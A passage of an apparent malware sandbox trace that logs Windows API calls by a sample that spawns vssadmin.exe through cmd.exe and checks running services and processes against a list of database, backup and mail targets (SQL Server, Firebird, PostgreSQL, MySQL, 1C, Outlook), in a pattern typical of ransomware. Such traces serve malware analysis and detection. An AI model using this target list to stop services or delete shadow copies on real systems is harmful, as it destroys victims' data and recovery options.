lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0054.876] lstrlenW (lpString="n.exe") returned 5 [0054.876] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.876] lstrlenW (lpString="cmd.exe") returned 7 [0054.876] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.877] lstrlenW (lpString="conhost.exe") returned 11 [0054.877] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.877] lstrlenW (lpString="vssadmin.exe") returned 12 [0054.877] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.877] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.877] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.878] lstrlenW (lpString="svchost.exe") returned 11 [0054.878] Process32NextW (in: hSnapshot=0x1dc, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.878] CloseHandle (hObject=0x1dc) returned 1 [0054.878] Sleep (dwMilliseconds=0x1f4) [0055.596] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fb38 [0055.596] EnumServicesStatusExW (in: hSCManager=0x73fb38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0055.597] GetLastError () returned 0xea [0055.597] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0055.597] EnumServicesStatusExW (in: hSCManager=0x73fb38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0055.597] CloseServiceHandle (hSCObject=0x73fb38) returned 1 [0055.597] lstrlenW (lpString="Appinfo") returned 7 [0055.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.598] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.598] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.598] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.598] lstrlenW (lpString="AudioSrv") returned 8 [0055.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.598] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.598] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.598] lstrlenW (lpString="BFE") returned 3 [0055.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.598] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.598] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.598] lstrlenW (lpString="CryptSvc") returned 8 [0055.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.598] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.598] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.598] lstrlenW (lpString="CscService") returned 10 [0055.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.598] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.598] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.598] lstrlenW (lpString="DcomLaunch") returned 10 [0055.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.598] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.599] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.599] lstrlenW (lpString="Dhcp") returned 4 [0055.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.599] lstrlenW (lpString="Dnscache") returned 8 [0055.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.599] lstrlenW (lpString="DPS") returned 3 [0055.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.599] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.599] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.599] lstrlenW (lpString="eventlog") returned 8 [0055.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.599] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.599] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.599] lstrlenW (lpString="EventSystem") returned 11 [0055.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.599] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.599] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.600] lstrlenW (lpString="gpsvc") returned 5 [0055.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.600] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.600] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.600] lstrlenW (lpString="iphlpsvc") returned 8 [0055.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.600] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.600] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.600] lstrlenW (lpString="LanmanServer") returned 12 [0055.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.600] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.600] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.600] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.600] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.600] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.600] lstrlenW (lpString="lmhosts") returned 7 [0055.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.600] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.600] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.600] lstrlenW (lpString="MMCSS") returned 5 [0055.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.600] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.600] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.601] lstrlenW (lpString="MpsSvc") returned 6 [0055.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.601] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.601] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.601] lstrlenW (lpString="Netman") returned 6 [0055.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.601] lstrlenW (lpString="netprofm") returned 8 [0055.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.601] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.601] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.601] lstrlenW (lpString="NlaSvc") returned 6 [0055.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.601] lstrlenW (lpString="nsi") returned 3 [0055.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.601] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.601] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.601] lstrlenW (lpString="PcaSvc") returned 6 [0055.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.601] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.601] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.602] lstrlenW (lpString="PlugPlay") returned 8 [0055.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.602] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.602] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.602] lstrlenW (lpString="Power") returned 5 [0055.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.602] lstrlenW (lpString="ProfSvc") returned 7 [0055.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.602] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.602] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.602] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.602] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.602] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.602] lstrlenW (lpString="RpcSs") returned 5 [0055.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.602] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.602] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.602] lstrlenW (lpString="SamSs") returned 5 [0055.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.602] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.602] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.602] lstrlenW (lpString="Schedule") returned 8 [0055.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.603] lstrlenW (lpString="SENS") returned 4 [0055.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.603] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.603] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.603] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.603] lstrlenW (lpString="Spooler") returned 7 [0055.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.603] lstrlenW (lpString="swprv") returned 5 [0055.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.603] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.603] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.603] lstrlenW (lpString="SysMain") returned 7 [0055.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.603] lstrlenW (lpString="Themes") returned 6 [0055.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.606] lstrlenW (lpString="TrkWks") returned 6 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.606] lstrlenW (lpString="UxSms") returned 5 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.606] lstrlenW (lpString="VSS") returned 3 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.606] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.606] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.606] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.606] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.606] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.607] lstrlenW (lpString="Winmgmt") returned 7 [0055.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.607] lstrlenW (lpString="WPDBusEnum") returned 10 [0055.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.607] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0055.607] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0055.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0055.607] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0055.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0055.609] Process32FirstW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.609] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.610] lstrlenW (lpString="System") returned 6 [0055.610] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.610] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.610] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.610] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.610] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.610] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.610] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.610] Process32NextW (in: hSnapshot=0x20c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.610] lstrlenW 